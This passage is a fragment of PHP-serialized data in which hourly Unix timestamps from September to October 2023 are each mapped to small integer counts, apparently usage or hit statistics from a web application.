1693875600;a:1:{i:0;i:5;}i:1693879200;a:1:{i:0;i:8;}i:1693882800;a:1:{i:0;i:9;}i:1693886400;a:1:{i:0;i:2;}i:1693890000;a:1:{i:0;i:16;}i:1693893600;a:1:{i:0;i:17;}i:1693897200;a:1:{i:0;i:9;}i:1693900800;a:1:{i:0;i:17;}i:1693904400;a:1:{i:0;i:16;}i:1693908000;a:1:{i:0;i:6;}i:1693911600;a:1:{i:0;i:11;}i:1693915200;a:1:{i:0;i:10;}i:1693918800;a:1:{i:0;i:18;}i:1693922400;a:1:{i:0;i:10;}i:1693926000;a:1:{i:0;i:10;}i:1693929600;a:1:{i:0;i:4;}i:1693933200;a:1:{i:0;i:7;}i:1693936800;a:1:{i:0;i:10;}i:1693940400;a:1:{i:0;i:3;}i:1693944000;a:1:{i:0;i:9;}i:1693947600;a:1:{i:0;i:5;}i:1693951200;a:1:{i:0;i:4;}i:1693954800;a:1:{i:0;i:8;}i:1693958400;a:1:{i:0;i:2;}i:1693962000;a:1:{i:0;i:7;}i:1693965600;a:1:{i:0;i:8;}i:1693969200;a:1:{i:0;i:9;}i:1693972800;a:1:{i:0;i:6;}i:1693976400;a:1:{i:0;i:6;}i:1693980000;a:1:{i:0;i:9;}i:1693983600;a:1:{i:0;i:7;}i:1693987200;a:1:{i:0;i:6;}i:1693990800;a:1:{i:0;i:14;}i:1693994400;a:1:{i:0;i:14;}i:1693998000;a:1:{i:0;i:11;}i:1694001600;a:1:{i:0;i:10;}i:1694005200;a:1:{i:0;i:4;}i:1694008800;a:1:{i:0;i:4;}i:1694012400;a:1:{i:0;i:3;}i:1694019600;a:1:{i:0;i:1;}i:1694023200;a:1:{i:0;i:16;}i:1694026800;a:1:{i:0;i:8;}i:1694030400;a:1:{i:0;i:6;}i:1694034000;a:1:{i:0;i:3;}i:1694037600;a:1:{i:0;i:2;}i:1694041200;a:1:{i:0;i:1;}i:1694044800;a:1:{i:0;i:8;}i:1694048400;a:1:{i:0;i:3;}i:1694055600;a:1:{i:0;i:4;}i:1694059200;a:1:{i:0;i:4;}i:1694062800;a:1:{i:0;i:3;}i:1694066400;a:1:{i:0;i:4;}i:1694070000;a:1:{i:0;i:9;}i:1694073600;a:1:{i:0;i:11;}i:1694080800;a:1:{i:0;i:10;}i:1694084400;a:1:{i:0;i:10;}i:1694088000;a:1:{i:0;i:3;}i:1694091600;a:1:{i:0;i:8;}i:1694095200;a:1:{i:0;i:6;}i:1694098800;a:1:{i:0;i:2;}i:1694102400;a:1:{i:0;i:11;}i:1694106000;a:1:{i:0;i:6;}i:1694109600;a:1:{i:0;i:5;}i:1694113200;a:1:{i:0;i:4;}i:1694116800;a:1:{i:0;i:5;}i:1694120400;a:1:{i:0;i:2;}i:1694124000;a:1:{i:0;i:6;}i:1694127600;a:1:{i:0;i:4;}i:1694131200;a:1:{i:0;i:3;}i:1694134800;a:1:{i:0;i:3;}i:1694145600;a:1:{i:0;i:4;}i:1694149200;a:1:{i:0;i:6;}i:1694156400;a:1:{i:0;i:15;}i:1694163600;a:1:{i:0;i:13;}i:1694167200;a:1:{i:0;i:3;}i:1694170800;a:1:{i:0;i:9;}i:1694174400;a:1:{i:0;i:6;}i:1694178000;a:1:{i:0;i:6;}i:1694181600;a:1:{i:0;i:3;}i:1694185200;a:1:{i:0;i:7;}i:1694188800;a:1:{i:0;i:6;}i:1694192400;a:1:{i:0;i:2;}i:1694196000;a:1:{i:0;i:3;}i:1694199600;a:1:{i:0;i:5;}i:1694203200;a:1:{i:0;i:6;}i:1694206800;a:1:{i:0;i:2;}i:1694210400;a:1:{i:0;i:8;}i:1694214000;a:1:{i:0;i:2;}i:1694217600;a:1:{i:0;i:1;}i:1694221200;a:1:{i:0;i:3;}i:1694224800;a:1:{i:0;i:6;}i:1694228400;a:1:{i:0;i:6;}i:1694232000;a:1:{i:0;i:5;}i:1694235600;a:1:{i:0;i:5;}i:1694239200;a:1:{i:0;i:7;}i:1694242800;a:1:{i:0;i:9;}i:1694246400;a:1:{i:0;i:11;}i:1694250000;a:1:{i:0;i:2;}i:1694253600;a:1:{i:0;i:5;}i:1694257200;a:1:{i:0;i:6;}i:1694260800;a:1:{i:0;i:7;}i:1694264400;a:1:{i:0;i:12;}i:1694268000;a:1:{i:0;i:6;}i:1694271600;a:1:{i:0;i:7;}i:1694275200;a:1:{i:0;i:6;}i:1694278800;a:1:{i:0;i:3;}i:1694282400;a:1:{i:0;i:4;}i:1694286000;a:1:{i:0;i:8;}i:1694289600;a:1:{i:0;i:4;}i:1694296800;a:1:{i:0;i:7;}i:1694300400;a:1:{i:0;i:7;}i:1694304000;a:1:{i:0;i:1;}i:1694307600;a:1:{i:0;i:15;}i:1694311200;a:1:{i:0;i:3;}i:1694314800;a:1:{i:0;i:3;}i:1694318400;a:1:{i:0;i:13;}i:1694322000;a:1:{i:0;i:9;}i:1694325600;a:1:{i:0;i:3;}i:1694329200;a:1:{i:0;i:6;}i:1694332800;a:1:{i:0;i:7;}i:1694336400;a:1:{i:0;i:8;}i:1694340000;a:1:{i:0;i:3;}i:1694343600;a:1:{i:0;i:2;}i:1694347200;a:1:{i:0;i:1;}i:1694350800;a:1:{i:0;i:2;}i:1694354400;a:1:{i:0;i:5;}i:1694358000;a:1:{i:0;i:3;}i:1694361600;a:1:{i:0;i:9;}i:1694365200;a:1:{i:0;i:1;}i:1694368800;a:1:{i:0;i:1;}i:1694372400;a:1:{i:0;i:4;}i:1694376000;a:1:{i:0;i:4;}i:1694379600;a:1:{i:0;i:6;}i:1694383200;a:1:{i:0;i:3;}i:1694386800;a:1:{i:0;i:4;}i:1694390400;a:1:{i:0;i:1;}i:1694394000;a:1:{i:0;i:2;}i:1694397600;a:1:{i:0;i:1;}i:1694401200;a:1:{i:0;i:4;}i:1694404800;a:1:{i:0;i:8;}i:1694408400;a:1:{i:0;i:13;}i:1694412000;a:1:{i:0;i:7;}i:1694415600;a:1:{i:0;i:5;}i:1694419200;a:1:{i:0;i:6;}i:1694422800;a:1:{i:0;i:7;}i:1694426400;a:1:{i:0;i:6;}i:1694430000;a:1:{i:0;i:12;}i:1694433600;a:1:{i:0;i:14;}i:1694437200;a:1:{i:0;i:3;}i:1694448000;a:1:{i:0;i:1;}i:1694451600;a:1:{i:0;i:1;}i:1694455200;a:1:{i:0;i:2;}i:1694462400;a:1:{i:0;i:4;}i:1694466000;a:1:{i:0;i:6;}i:1694469600;a:1:{i:0;i:4;}i:1694473200;a:1:{i:0;i:3;}i:1694476800;a:1:{i:0;i:3;}i:1694480400;a:1:{i:0;i:12;}i:1694484000;a:1:{i:0;i:13;}i:1694487600;a:1:{i:0;i:10;}i:1694491200;a:1:{i:0;i:8;}i:1694494800;a:1:{i:0;i:13;}i:1694498400;a:1:{i:0;i:11;}i:1694502000;a:1:{i:0;i:8;}i:1694505600;a:1:{i:0;i:9;}i:1694509200;a:1:{i:0;i:7;}i:1694512800;a:1:{i:0;i:3;}i:1694516400;a:1:{i:0;i:5;}i:1694520000;a:1:{i:0;i:6;}i:1694523600;a:1:{i:0;i:3;}i:1694527200;a:1:{i:0;i:4;}i:1694530800;a:1:{i:0;i:4;}i:1694534400;a:1:{i:0;i:4;}i:1694538000;a:1:{i:0;i:4;}i:1694541600;a:1:{i:0;i:3;}i:1694545200;a:1:{i:0;i:3;}i:1694548800;a:1:{i:0;i:6;}i:1694552400;a:1:{i:0;i:3;}i:1694556000;a:1:{i:0;i:7;}i:1694559600;a:1:{i:0;i:6;}i:1694563200;a:1:{i:0;i:4;}i:1694566800;a:1:{i:0;i:3;}i:1694570400;a:1:{i:0;i:4;}i:1694574000;a:1:{i:0;i:3;}i:1694577600;a:1:{i:0;i:4;}i:1694581200;a:1:{i:0;i:6;}i:1694584800;a:1:{i:0;i:5;}i:1694588400;a:1:{i:0;i:9;}i:1694592000;a:1:{i:0;i:9;}i:1694595600;a:1:{i:0;i:8;}i:1694599200;a:1:{i:0;i:9;}i:1694602800;a:1:{i:0;i:12;}i:1694606400;a:1:{i:0;i:9;}i:1694610000;a:1:{i:0;i:14;}i:1694613600;a:1:{i:0;i:4;}i:1694617200;a:1:{i:0;i:4;}i:1694620800;a:1:{i:0;i:1;}i:1694624400;a:1:{i:0;i:3;}i:1694628000;a:1:{i:0;i:1;}i:1694631600;a:1:{i:0;i:1;}i:1694656800;a:1:{i:0;i:1;}i:1694667600;a:1:{i:0;i:1;}i:1694674800;a:1:{i:0;i:1;}i:1694678400;a:1:{i:0;i:10;}i:1694682000;a:1:{i:0;i:11;}i:1694685600;a:1:{i:0;i:10;}i:1694689200;a:1:{i:0;i:10;}i:1694692800;a:1:{i:0;i:7;}i:1694696400;a:1:{i:0;i:7;}i:1694700000;a:1:{i:0;i:7;}i:1694703600;a:1:{i:0;i:6;}i:1694707200;a:1:{i:0;i:2;}i:1694710800;a:1:{i:0;i:2;}i:1694714400;a:1:{i:0;i:4;}i:1694718000;a:1:{i:0;i:3;}i:1694721600;a:1:{i:0;i:4;}i:1694725200;a:1:{i:0;i:3;}i:1694728800;a:1:{i:0;i:2;}i:1694732400;a:1:{i:0;i:3;}i:1694736000;a:1:{i:0;i:4;}i:1694739600;a:1:{i:0;i:2;}i:1694743200;a:1:{i:0;i:1;}i:1694746800;a:1:{i:0;i:6;}i:1694750400;a:1:{i:0;i:3;}i:1694754000;a:1:{i:0;i:3;}i:1694757600;a:1:{i:0;i:6;}i:1694761200;a:1:{i:0;i:6;}i:1694764800;a:1:{i:0;i:9;}i:1694768400;a:1:{i:0;i:6;}i:1694772000;a:1:{i:0;i:10;}i:1694775600;a:1:{i:0;i:3;}i:1694779200;a:1:{i:0;i:3;}i:1694782800;a:1:{i:0;i:3;}i:1694786400;a:1:{i:0;i:2;}i:1694790000;a:1:{i:0;i:3;}i:1694793600;a:1:{i:0;i:3;}i:1694797200;a:1:{i:0;i:1;}i:1694800800;a:1:{i:0;i:2;}i:1694804400;a:1:{i:0;i:2;}i:1694808000;a:1:{i:0;i:2;}i:1694811600;a:1:{i:0;i:2;}i:1694815200;a:1:{i:0;i:3;}i:1694822400;a:1:{i:0;i:2;}i:1694826000;a:1:{i:0;i:2;}i:1694829600;a:1:{i:0;i:4;}i:1694833200;a:1:{i:0;i:1;}i:1694836800;a:1:{i:0;i:3;}i:1694840400;a:1:{i:0;i:5;}i:1694844000;a:1:{i:0;i:6;}i:1694847600;a:1:{i:0;i:5;}i:1694851200;a:1:{i:0;i:8;}i:1694854800;a:1:{i:0;i:6;}i:1694858400;a:1:{i:0;i:7;}i:1694862000;a:1:{i:0;i:6;}i:1694865600;a:1:{i:0;i:8;}i:1694869200;a:1:{i:0;i:14;}i:1694872800;a:1:{i:0;i:4;}i:1694876400;a:1:{i:0;i:14;}i:1694883600;a:1:{i:0;i:1;}i:1694887200;a:1:{i:0;i:1;}i:1694890800;a:1:{i:0;i:4;}i:1694894400;a:1:{i:0;i:1;}i:1694898000;a:1:{i:0;i:2;}i:1694901600;a:1:{i:0;i:2;}i:1694905200;a:1:{i:0;i:1;}i:1694908800;a:1:{i:0;i:7;}i:1694912400;a:1:{i:0;i:2;}i:1694916000;a:1:{i:0;i:3;}i:1694919600;a:1:{i:0;i:3;}i:1694923200;a:1:{i:0;i:3;}i:1694926800;a:1:{i:0;i:4;}i:1694930400;a:1:{i:0;i:3;}i:1694934000;a:1:{i:0;i:6;}i:1694937600;a:1:{i:0;i:23;}i:1694941200;a:1:{i:0;i:13;}i:1694944800;a:1:{i:0;i:14;}i:1694948400;a:1:{i:0;i:5;}i:1694952000;a:1:{i:0;i:10;}i:1694955600;a:1:{i:0;i:1;}i:1694959200;a:1:{i:0;i:16;}i:1694962800;a:1:{i:0;i:1;}i:1694966400;a:1:{i:0;i:10;}i:1694970000;a:1:{i:0;i:3;}i:1694973600;a:1:{i:0;i:17;}i:1694977200;a:1:{i:0;i:5;}i:1694980800;a:1:{i:0;i:3;}i:1694984400;a:1:{i:0;i:15;}i:1694988000;a:1:{i:0;i:3;}i:1694991600;a:1:{i:0;i:11;}i:1694995200;a:1:{i:0;i:5;}i:1694998800;a:1:{i:0;i:13;}i:1695002400;a:1:{i:0;i:3;}i:1695006000;a:1:{i:0;i:5;}i:1695009600;a:1:{i:0;i:16;}i:1695013200;a:1:{i:0;i:6;}i:1695016800;a:1:{i:0;i:14;}i:1695020400;a:1:{i:0;i:1;}i:1695024000;a:1:{i:0;i:7;}i:1695027600;a:1:{i:0;i:19;}i:1695031200;a:1:{i:0;i:10;}i:1695034800;a:1:{i:0;i:6;}i:1695038400;a:1:{i:0;i:17;}i:1695042000;a:1:{i:0;i:6;}i:1695045600;a:1:{i:0;i:18;}i:1695049200;a:1:{i:0;i:3;}i:1695052800;a:1:{i:0;i:2;}i:1695056400;a:1:{i:0;i:12;}i:1695060000;a:1:{i:0;i:3;}i:1695063600;a:1:{i:0;i:4;}i:1695067200;a:1:{i:0;i:14;}i:1695070800;a:1:{i:0;i:2;}i:1695074400;a:1:{i:0;i:14;}i:1695078000;a:1:{i:0;i:1;}i:1695081600;a:1:{i:0;i:5;}i:1695085200;a:1:{i:0;i:15;}i:1695088800;a:1:{i:0;i:3;}i:1695092400;a:1:{i:0;i:3;}i:1695096000;a:1:{i:0;i:16;}i:1695099600;a:1:{i:0;i:5;}i:1695103200;a:1:{i:0;i:13;}i:1695106800;a:1:{i:0;i:2;}i:1695110400;a:1:{i:0;i:2;}i:1695114000;a:1:{i:0;i:9;}i:1695117600;a:1:{i:0;i:6;}i:1695121200;a:1:{i:0;i:17;}i:1695124800;a:1:{i:0;i:3;}i:1695128400;a:1:{i:0;i:4;}i:1695132000;a:1:{i:0;i:16;}i:1695135600;a:1:{i:0;i:5;}i:1695139200;a:1:{i:0;i:1;}i:1695142800;a:1:{i:0;i:23;}i:1695146400;a:1:{i:0;i:1;}i:1695150000;a:1:{i:0;i:3;}i:1695153600;a:1:{i:0;i:20;}i:1695157200;a:1:{i:0;i:2;}i:1695160800;a:1:{i:0;i:3;}i:1695164400;a:1:{i:0;i:13;}i:1695168000;a:1:{i:0;i:7;}i:1695171600;a:1:{i:0;i:16;}i:1695175200;a:1:{i:0;i:19;}i:1695178800;a:1:{i:0;i:3;}i:1695182400;a:1:{i:0;i:3;}i:1695186000;a:1:{i:0;i:21;}i:1695189600;a:1:{i:0;i:4;}i:1695193200;a:1:{i:0;i:10;}i:1695196800;a:1:{i:0;i:3;}i:1695200400;a:1:{i:0;i:7;}i:1695204000;a:1:{i:0;i:12;}i:1695207600;a:1:{i:0;i:4;}i:1695211200;a:1:{i:0;i:10;}i:1695214800;a:1:{i:0;i:7;}i:1695218400;a:1:{i:0;i:3;}i:1695222000;a:1:{i:0;i:14;}i:1695229200;a:1:{i:0;i:11;}i:1695236400;a:1:{i:0;i:8;}i:1695240000;a:1:{i:0;i:3;}i:1695247200;a:1:{i:0;i:11;}i:1695250800;a:1:{i:0;i:1;}i:1695254400;a:1:{i:0;i:15;}i:1695258000;a:1:{i:0;i:17;}i:1695261600;a:1:{i:0;i:2;}i:1695265200;a:1:{i:0;i:2;}i:1695268800;a:1:{i:0;i:16;}i:1695272400;a:1:{i:0;i:14;}i:1695276000;a:1:{i:0;i:7;}i:1695279600;a:1:{i:0;i:13;}i:1695283200;a:1:{i:0;i:5;}i:1695286800;a:1:{i:0;i:13;}i:1695290400;a:1:{i:0;i:14;}i:1695294000;a:1:{i:0;i:6;}i:1695297600;a:1:{i:0;i:13;}i:1695301200;a:1:{i:0;i:4;}i:1695304800;a:1:{i:0;i:12;}i:1695308400;a:1:{i:0;i:3;}i:1695312000;a:1:{i:0;i:12;}i:1695315600;a:1:{i:0;i:1;}i:1695319200;a:1:{i:0;i:1;}i:1695322800;a:1:{i:0;i:2;}i:1695326400;a:1:{i:0;i:5;}i:1695330000;a:1:{i:0;i:1;}i:1695333600;a:1:{i:0;i:9;}i:1695337200;a:1:{i:0;i:1;}i:1695344400;a:1:{i:0;i:4;}i:1695348000;a:1:{i:0;i:2;}i:1695351600;a:1:{i:0;i:6;}i:1695355200;a:1:{i:0;i:40;}i:1695358800;a:1:{i:0;i:10;}i:1695362400;a:1:{i:0;i:9;}i:1695366000;a:1:{i:0;i:8;}i:1695369600;a:1:{i:0;i:4;}i:1695373200;a:1:{i:0;i:4;}i:1695376800;a:1:{i:0;i:2;}i:1695380400;a:1:{i:0;i:5;}i:1695384000;a:1:{i:0;i:3;}i:1695387600;a:1:{i:0;i:2;}i:1695391200;a:1:{i:0;i:4;}i:1695394800;a:1:{i:0;i:2;}i:1695398400;a:1:{i:0;i:6;}i:1695402000;a:1:{i:0;i:3;}i:1695405600;a:1:{i:0;i:3;}i:1695409200;a:1:{i:0;i:2;}i:1695412800;a:1:{i:0;i:3;}i:1695416400;a:1:{i:0;i:5;}i:1695420000;a:1:{i:0;i:2;}i:1695423600;a:1:{i:0;i:1;}i:1695430800;a:1:{i:0;i:3;}i:1695434400;a:1:{i:0;i:2;}i:1695438000;a:1:{i:0;i:8;}i:1695441600;a:1:{i:0;i:5;}i:1695445200;a:1:{i:0;i:2;}i:1695448800;a:1:{i:0;i:2;}i:1695452400;a:1:{i:0;i:2;}i:1695456000;a:1:{i:0;i:6;}i:1695459600;a:1:{i:0;i:1;}i:1695463200;a:1:{i:0;i:1;}i:1695466800;a:1:{i:0;i:2;}i:1695470400;a:1:{i:0;i:5;}i:1695474000;a:1:{i:0;i:1;}i:1695502800;a:1:{i:0;i:1;}i:1695520800;a:1:{i:0;i:2;}i:1695524400;a:1:{i:0;i:4;}i:1695528000;a:1:{i:0;i:3;}i:1695531600;a:1:{i:0;i:4;}i:1695535200;a:1:{i:0;i:2;}i:1695538800;a:1:{i:0;i:2;}i:1695542400;a:1:{i:0;i:2;}i:1695546000;a:1:{i:0;i:2;}i:1695549600;a:1:{i:0;i:3;}i:1695553200;a:1:{i:0;i:3;}i:1695556800;a:1:{i:0;i:2;}i:1695560400;a:1:{i:0;i:3;}i:1695564000;a:1:{i:0;i:2;}i:1695567600;a:1:{i:0;i:2;}i:1695571200;a:1:{i:0;i:1;}i:1695574800;a:1:{i:0;i:2;}i:1695578400;a:1:{i:0;i:2;}i:1695582000;a:1:{i:0;i:1;}i:1695585600;a:1:{i:0;i:1;}i:1695589200;a:1:{i:0;i:2;}i:1695592800;a:1:{i:0;i:1;}i:1695596400;a:1:{i:0;i:4;}i:1695600000;a:1:{i:0;i:10;}i:1695603600;a:1:{i:0;i:4;}i:1695607200;a:1:{i:0;i:3;}i:1695610800;a:1:{i:0;i:8;}i:1695614400;a:1:{i:0;i:11;}i:1695618000;a:1:{i:0;i:12;}i:1695621600;a:1:{i:0;i:5;}i:1695625200;a:1:{i:0;i:2;}i:1695628800;a:1:{i:0;i:2;}i:1695636000;a:1:{i:0;i:2;}i:1695639600;a:1:{i:0;i:1;}i:1695643200;a:1:{i:0;i:1;}i:1695646800;a:1:{i:0;i:10;}i:1695650400;a:1:{i:0;i:1;}i:1695654000;a:1:{i:0;i:8;}i:1695657600;a:1:{i:0;i:1;}i:1695661200;a:1:{i:0;i:1;}i:1695664800;a:1:{i:0;i:13;}i:1695672000;a:1:{i:0;i:14;}i:1695675600;a:1:{i:0;i:1;}i:1695679200;a:1:{i:0;i:13;}i:1695690000;a:1:{i:0;i:12;}i:1695693600;a:1:{i:0;i:12;}i:1695700800;a:1:{i:0;i:1;}i:1695704400;a:1:{i:0;i:15;}i:1695708000;a:1:{i:0;i:1;}i:1695711600;a:1:{i:0;i:12;}i:1695715200;a:1:{i:0;i:1;}i:1695718800;a:1:{i:0;i:12;}i:1695722400;a:1:{i:0;i:2;}i:1695726000;a:1:{i:0;i:12;}i:1695729600;a:1:{i:0;i:1;}i:1695733200;a:1:{i:0;i:1;}i:1695736800;a:1:{i:0;i:13;}i:1695744000;a:1:{i:0;i:1;}i:1695747600;a:1:{i:0;i:13;}i:1695754800;a:1:{i:0;i:1;}i:1695758400;a:1:{i:0;i:12;}i:1695772800;a:1:{i:0;i:13;}i:1695776400;a:1:{i:0;i:2;}i:1695780000;a:1:{i:0;i:14;}i:1695783600;a:1:{i:0;i:1;}i:1695787200;a:1:{i:0;i:14;}i:1695790800;a:1:{i:0;i:2;}i:1695794400;a:1:{i:0;i:4;}i:1695798000;a:1:{i:0;i:13;}i:1695801600;a:1:{i:0;i:1;}i:1695805200;a:1:{i:0;i:5;}i:1695816000;a:1:{i:0;i:3;}i:1695823200;a:1:{i:0;i:8;}i:1695826800;a:1:{i:0;i:14;}i:1695837600;a:1:{i:0;i:10;}i:1695848400;a:1:{i:0;i:10;}i:1695855600;a:1:{i:0;i:10;}i:1695870000;a:1:{i:0;i:10;}i:1695880800;a:1:{i:0;i:14;}i:1695884400;a:1:{i:0;i:1;}i:1695891600;a:1:{i:0;i:15;}i:1695902400;a:1:{i:0;i:10;}i:1695909600;a:1:{i:0;i:12;}i:1695916800;a:1:{i:0;i:13;}i:1695924000;a:1:{i:0;i:13;}i:1695934800;a:1:{i:0;i:4;}i:1695938400;a:1:{i:0;i:6;}i:1695942000;a:1:{i:0;i:30;}i:1695945600;a:1:{i:0;i:13;}i:1695949200;a:1:{i:0;i:21;}i:1695963600;a:1:{i:0;i:1;}i:1695967200;a:1:{i:0;i:1;}i:1695974400;a:1:{i:0;i:4;}i:1695981600;a:1:{i:0;i:1;}i:1695985200;a:1:{i:0;i:4;}i:1695988800;a:1:{i:0;i:3;}i:1695992400;a:1:{i:0;i:3;}i:1695996000;a:1:{i:0;i:3;}i:1695999600;a:1:{i:0;i:3;}i:1696003200;a:1:{i:0;i:4;}i:1696006800;a:2:{i:1;i:1;i:0;i:3;}i:1696010400;a:1:{i:0;i:4;}i:1696014000;a:1:{i:0;i:3;}i:1696017600;a:1:{i:0;i:4;}i:1696021200;a:1:{i:0;i:2;}i:1696024800;a:1:{i:0;i:3;}i:1696028400;a:1:{i:0;i:3;}i:1696032000;a:1:{i:0;i:3;}i:1696035600;a:1:{i:0;i:3;}i:1696039200;a:1:{i:0;i:3;}i:1696042800;a:1:{i:0;i:4;}i:1696046400;a:1:{i:0;i:1;}i:1696075200;a:1:{i:0;i:5;}i:1696078800;a:1:{i:0;i:2;}i:1696082400;a:1:{i:0;i:1;}i:1696086000;a:1:{i:0;i:1;}i:1696089600;a:1:{i:0;i:1;}i:1696093200;a:1:{i:0;i:2;}i:1696096800;a:1:{i:0;i:3;}i:1696100400;a:1:{i:0;i:1;}i:1696104000;a:1:{i:0;i:1;}i:1696107600;a:1:{i:0;i:1;}i:1696111200;a:1:{i:0;i:1;}i:1696114800;a:1:{i:0;i:1;}i:1696118400;a:1:{i:0;i:1;}i:1696122000;a:1:{i:0;i:2;}i:1696129200;a:1:{i:0;i:2;}i:1696132800;a:1:{i:0;i:1;}i:1696140000;a:1:{i:0;i:1;}i:1696143600;a:1:{i:0;i:1;}i:1696147200;a:1:{i:0;i:1;}i:1696150800;a:1:{i:0;i:5;}i:1696154400;a:1:{i:0;i:1;}i:1696161600;a:1:{i:0;i:1;}i:1696168800;a:1:{i:0;i:1;}i:1696172400;a:1:{i:0;i:5;}i:1696179600;a:1:{i:0;i:1;}i:1696186800;a:1:{i:0;i:1;}i:1696190400;a:1:{i:0;i:4;}i:1696194000;a:1:{i:0;i:1;}i:1696197600;a:1:{i:0;i:2;}i:1696201200;a:1:{i:0;i:4;}i:1696204800;a:1:{i:0;i:1;}i:1696208400;a:1:{i:0;i:1;}i:1696212000;a:1:{i:0;i:1;}i:1696215600;a:1:{i:0;i:1;}i:1696219200;a:1:{i:0;i:2;}i:1696222800;a:1:{i:0;i:2;}i:1696251600;a:1:{i:0;i:3;}i:1696273200;a:1:{i:0;i:1;}i:1696276800;a:1:{i:0;i:3;}i:1696287600;a:1:{i:0;i:4;}i:1696294800;a:1:{i:0;i:4;}i:1696298400;a:1:{i:0;i:2;}i:1696302000;a:1:{i:0;i:6;}i:1696305600;a:1:{i:0;i:6;}i:1696309200;a:1:{i:0;i:3;}i:1696312800;a:1:{i:0;i:9;}i:1696316400;a:1:{i:0;i:1;}i:1696320000;a:1:{i:0;i:3;}i:1696327200;a:1:{i:0;i:2;}i:1696330800;a:1:{i:0;i:4;}i:1696334400;a:1:{i:0;i:4;}i:1696348800;a:1:{i:0;i:6;}i:1696352400;a:1:{i:0;i:4;}i:1696356000;a:1:{i:0;i:5;}i:1696359600;a:1:{i:0;i:6;}i:1696363200;a:1:{i:0;i:2;}i:1696366800;a:1:{i:0;i:6;}i:1696370400;a:1:{i:0;i:19;}i:1696374000;a:1:{i:0;i:5;}i:1696377600;a:1:{i:0;i:4;}i:1696381200;a:1:{i:0;i:21;}i:1696384800;a:1:{i:0;i:3;}i:1696388400;a:1:{i:0;i:1;}i:1696392000;a:1:{i:0;i:7;}i:1696395600;a:1:{i:0;i:7;}i:1696399200;a:1:{i:0;i:7;}i:1696402800;a:1:{i:0;i:4;}i:1696406400;a:1:{i:0;i:12;}i:1696410000;a:1:{i:0;i:3;}i:1696413600;a:1:{i:0;i:2;}i:1696417200;a:1:{i:0;i:4;}i:1696420800;a:1:{i:0;i:5;}i:1696424400;a:1:{i:0;i:16;}i:1696428000;a:1:{i:0;i:4;}i:1696431600;a:1:{i:0;i:2;}i:1696435200;a:1:{i:0;i:2;}i:1696438800;a:1:{i:0;i:4;}i:1696442400;a:1:{i:0;i:4;}i:1696446000;a:1:{i:0;i:5;}i:1696449600;a:1:{i:0;i:2;}i:1696453200;a:1:{i:0;i:26;}i:1696456800;a:1:{i:0;i:3;}i:1696460400;a:1:{i:0;i:1;}i:1696464000;a:1:{i:0;i:2;}i:1696467600;a:1:{i:0;i:3;}i:1696474800;a:1:{i:0;i:9;}i:1696478400;a:1:{i:0;i:5;}i:1696482000;a:1:{i:0;i:1;}i:1696485600;a:1:{i:0;i:19;}i:1696496400;a:1:{i:0;i:10;}i:1696500000;a:1:{i:0;i:3;}i:1696503600;a:1:{i:0;i:6;}i:1696507200;a:1:{i:0;i:4;}i:1696510800;a:1:{i:0;i:4;}i:1696514400;a:1:{i:0;i:4;}i:1696518000;a:1:{i:0;i:2;}i:1696525200;a:1:{i:0;i:21;}i:1696528800;a:1:{i:0;i:5;}i:1696536000;a:1:{i:0;i:9;}i:1696543200;a:1:{i:0;i:7;}i:1696546800;a:1:{i:0;i:10;}i:1696550400;a:1:{i:0;i:6;}i:1696554000;a:1:{i:0;i:11;}i:1696557600;a:1:{i:0;i:9;}i:1696561200;a:1:{i:0;i:17;}i:1696564800;a:1:{i:0;i:4;}i:1696568400;a:1:{i:0;i:15;}i:1696572000;a:1:{i:0;i:10;}i:1696575600;a:1:{i:0;i:11;}i:1696579200;a:1:{i:0;i:4;}i:1696582800;a:1:{i:0;i:5;}i:1696586400;a:1:{i:0;i:6;}i:1696590000;a:1:{i:0;i:3;}i:1696593600;a:1:{i:0;i:8;}i:1696597200;a:1:{i:0;i:4;}i:1696600800;a:1:{i:0;i:5;}i:1696604400;a:1:{i:0;i:15;}i:1696608000;a:1:{i:0;i:3;}i:1696611600;a:1:{i:0;i:2;}i:1696615200;a:1:{i:0;i:3;}i:1696618800;a:1:{i:0;i:11;}i:1696622400;a:1:{i:0;i:7;}i:1696626000;a:1:{i:0;i:7;}i:1696629600;a:1:{i:0;i:1;}i:1696633200;a:1:{i:0;i:5;}i:1696636800;a:1:{i:0;i:11;}i:1696640400;a:1:{i:0;i:9;}i:1696644000;a:1:{i:0;i:10;}i:1696647600;a:1:{i:0;i:4;}i:1696651200;a:1:{i:0;i:8;}i:1696654800;a:1:{i:0;i:6;}i:1696658400;a:1:{i:0;i:14;}i:1696662000;a:1:{i:0;i:11;}i:1696665600;a:1:{i:0;i:13;}i:1696669200;a:1:{i:0;i:12;}i:1696672800;a:1:{i:0;i:6;}i:1696676400;a:1:{i:0;i:12;}i:1696680000;a:1:{i:0;i:8;}i:1696683600;a:1:{i:0;i:8;}i:1696687200;a:1:{i:0;i:14;}i:1696690800;a:1:{i:0;i:2;}i:1696694400;a:1:{i:0;i:5;}i:1696698000;a:1:{i:0;i:1;}i:1696701600;a:1:{i:0;i:14;}i:1696705200;a:1:{i:0;i:6;}i:1696708800;a:1:{i:0;i:16;}i:1696712400;a:1:{i:0;i:10;}i:1696716000;a:1:{i:0;i:1;}i:1696719600;a:1:{i:0;i:5;}i:1696723200;a:1:{i:0;i:2;}i:1696726800;a:1:{i:0;i:16;}i:1696730400;a:1:{i:0;i:14;}i:1696734000;a:1:{i:0;i:10;}i:1696737600;a:1:{i:0;i:7;}i:1696741200;a:1:{i:0;i:7;}i:1696744800;a:1:{i:0;i:5;}i:1696748400;a:1:{i:0;i:7;}i:1696752000;a:1:{i:0;i:15;}i:1696755600;a:1:{i:0;i:8;}i:1696759200;a:1:{i:0;i:6;}i:1696762800;a:1:{i:0;i:9;}i:1696766400;a:1:{i:0;i:11;}i:1696770000;a:1:{i:0;i:5;}i:1696773600;a:1:{i:0;i:5;}i:1696777200;a:1:{i:0;i:3;}i:1696780800;a:1:{i:0;i:10;}i:1696784400;a:1:{i:0;i:4;}i:1696788000;a:1:{i:0;i:4;}i:1696791600;a:1:{i:0;i:10;}i:1696795200;a:1:{i:0;i:6;}i:1696798800;a:1:{i:0;i:7;}i:1696802400;a:1:{i:0;i:2;}i:1696806000;a:1:{i:0;i:8;}i:1696809600;a:1:{i:0;i:4;}i:1696813200;a:1:{i:0;i:5;}i:1696816800;a:1:{i:0;i:9;}i:1696820400;a:1:{i:0;i:3;}i:1696824000;a:1:{i:0;i:6;}i:1696827600;a:1:{i:0;i:2;}i:1696831200;a:1:{i:0;i:7;}i:1696834800;a:1:{i:0;i:4;}i:1696838400;a:1:{i:0;i:7;}i:1696842000;a:1:{i:0;i:7;}i:1696845600;a:1:{i:0;i:1;}